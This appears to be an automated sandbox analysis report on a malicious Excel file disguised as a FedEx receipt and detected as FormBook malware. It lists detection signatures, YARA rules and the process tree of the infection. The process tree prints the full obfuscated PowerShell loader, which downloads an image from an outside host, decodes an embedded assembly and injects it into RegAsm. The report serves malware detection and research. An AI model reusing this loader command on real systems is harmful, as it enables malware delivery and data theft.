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Windows
Analysis Report
FedEx Receipt_53065724643.xls
Overview
General Information
| Sample name: | FedEx Receipt_53065724643.xls |
| Analysis ID: | 1465865 |
| MD5: | 4bb5a21106d460a7e9f63d44e47359cc |
| SHA1: | bb87ff08d79ebb57f97f97407db083bb13bb580d |
| SHA256: | adf19fed5bdfe80fc084a7ff1ad2ba59dc986dfe5b7dd7d2864c129bce51c0a0 |
| Tags: | FedExxls |
| Infos: |   |
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Detection
FormBook
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Antivirus detection for dropped file
Malicious sample detected (through community Yara rule)
Microsoft Office launches external ms-search protocol handler (WebDAV)
Multi AV Scanner detection for submitted file
Sigma detected: EQNEDT32.EXE connecting to internet
Sigma detected: File Dropped By EQNEDT32EXE
Sigma detected: Powershell Download and Execute IEX
Snort IDS alert for network traffic
System process connects to network (likely due to code injection or exploit)
Yara detected FormBook
Yara detected Powershell download and execute
.NET source code contains potential unpacker
.NET source code references suspicious native API functions
AI detected suspicious Excel or Word document
Document exploit detected (process start blacklist hit)
Excel sheet contains many unusual embedded objects
Injects a PE file into a foreign processes
Machine Learning detection for sample
Microsoft Office drops suspicious files
Obfuscated command line found
Office drops RTF file
Office equation editor establishes network connection
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Office viewer loads remote template
Shellcode detected
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Equation Editor Network Connection
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Script Initiated Connection to Non-Local Network
Sigma detected: Suspicious Microsoft Office Child Process
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Abnormal high CPU Usage
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Checks if the current process is being debugged
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to download and execute PE files
Contains functionality to download and launch executables
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Document contains embedded VBA macros
Document embeds suspicious OLE2 link
Document misses a certain OLE stream usually present in this Microsoft Office document type
Enables debug privileges
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Office Equation Editor has been started
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Sigma detected: Excel Network Connections
Sigma detected: Script Initiated Connection
Sigma detected: Suspicious Office Outbound Connections
Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match
Classification
- System is w7x64
EXCEL.EXE (PID: 1220 cmdline: "C:\Progra m Files\Mi crosoft Of fice\Offic e14\EXCEL. EXE" /auto mation -Em bedding MD5: D53B85E21886D2AF9815C377537BCAC3) 
WINWORD.EXE (PID: 3288 cmdline: "C:\Progra m Files\Mi crosoft Of fice\Offic e14\WINWOR D.EXE" -Em bedding MD5: 9EE74859D22DAE61F1750B3A1BACB6F5) 
EQNEDT32.EXE (PID: 3504 cmdline: "C:\Progra m Files\Co mmon Files \Microsoft Shared\EQ UATION\EQN EDT32.EXE" -Embeddin g MD5: A87236E214F6D42A65F5DEDAC816AEC8) 
wscript.exe (PID: 3616 cmdline: "C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\mages ofrosepete lflowersto getitgrea. vBS" MD5: 979D74799EA6C8B8167869A68DF5204A) 
powershell.exe (PID: 3688 cmdline: "C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -Command " ('PvLlink = tA4https ://uploadd eimagens'+ '.com.br/i mages/004/ 807/053/or iginal/new _image.jpg ?171984623 5tA4'+'; P vLwebClien t ='+' New -Object Sy stem.Net.W ebClient'+ '; try { P vLdownload edData = P vLwebCl'+' ient.Downl oadData(Pv Llink) } c atch { '+' Write-H'+' ost tA4Fai led To dow nload data from PvLl inktA4 -Fo regroundCo l'+'or Red ; exit };' +' if (PvL downloaded Data -ne P vLnull) { '+'PvLima' +'geTex'+' t = [Syste m.Text.Enc oding]::UT F8.GetStri ng(PvLdown loadedData '+'); PvLs tartFla'+' g = tA4<<B ASE64_STAR T>>tA4; Pv LendFlag = tA4<<BASE 64_END>'+' >tA4; PvLs tartIndex = PvLimage Text.Index Of('+'PvLs tartFl'+'a g); PvLend Index '+'= PvLimag'+ 'eText.Ind exO'+'f(Pv Lend'+'Fla g); if (Pv LstartInde x -ge 0 -a nd '+'PvLe ndIndex -g t PvLstart Index) { P vLstartInd ex'+' += P vLstartFla g.Length; PvLbase64L ength = Pv LendI'+'nd ex - PvLst artIndex; '+'PvLbase 64Command = PvLimage Text.Subst ring(PvLst artIndex,' +' PvLbase 64Length)' +'; Pv'+'L comma'+'nd Bytes = '+ '[System.C onvert]::F romBase64S tring(PvLb ase64Comma nd);'+' Pv LloadedAss embly = [S ystem.Refl ection.Ass '+'embly]: :Load(PvLc ommandB'+' ytes); PvL type = PvL loadedAsse mbly'+'.Ge tType(tA4R unPE.Homet A4); PvLme thod = PvL type.GetMe thod(tA4VA ItA4).Invo ke(PvLnull , [object[ ]] (tA4txt .JNNB/7708 8/61.532.5 9.32//:ptt htA4 , tA4 desativado tA4 , tA4d esativadot A4 , tA4de sativadotA 4,tA4RegAs m'+'tA4,tA 4tA4))'+' } }').rePL ACe(([cHar ]80+[cHar] 118+[cHar] 76),'$').r ePLACe(([c Har]116+[c Har]65+[cH ar]52),[St RInG][cHar ]39)| IEx" MD5: EB32C070E658937AA9FA9F3AE629B2B8) 
RegAsm.exe (PID: 3824 cmdline: "C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\Reg Asm.exe" MD5: 8FE9545E9F72E460723F484C304314AD) 
AcroRd32.exe (PID: 3884 cmdline: "C:\Progra m Files (x 86)\Adobe\ Acrobat Re ader DC\Re ader\AcroR d32.exe" - Embedding MD5: 2F8D93826B8CBF9290BC57535C7A6817)
- cleanup
| Name | Description | Attribution | Blogpost URLs | Link |
|---|---|---|---|---|
| Formbook, Formbo | FormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware. |
⊘No configs have been found
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| INDICATOR_RTF_MalVer_Objects | Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. | ditekSHen |
| |
| INDICATOR_RTF_MalVer_Objects | Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. | ditekSHen |
|
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| JoeSecurity_FormBook_1 | Yara detected FormBook | Joe Security | ||
| Windows_Trojan_Formbook_1112e116 | unknown | unknown |
| |
| JoeSecurity_FormBook_1 | Yara detected FormBook | Joe Security | ||
| Windows_Trojan_Formbook_1112e116 | unknown | unknown |
| |
| JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security | ||
| Click to see the 1 entries | ||||
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| JoeSecurity_FormBook_1 | Yara detected FormBook | Joe Security | ||
| Windows_Trojan_Formbook_1112e116 | unknown | unknown |
| |
| JoeSecurity_FormBook_1 | Yara detected FormBook | Joe Security | ||
| Windows_Trojan_Formbook_1112e116 | unknown | unknown |
|
Exploits |   |
|---|
| Source: | Author: Joe Security: | ||
| Source: | Author: Joe Security: | ||
System Summary | |
|---|
| Source: | Author: Florian Roth (Nextron Systems): | ||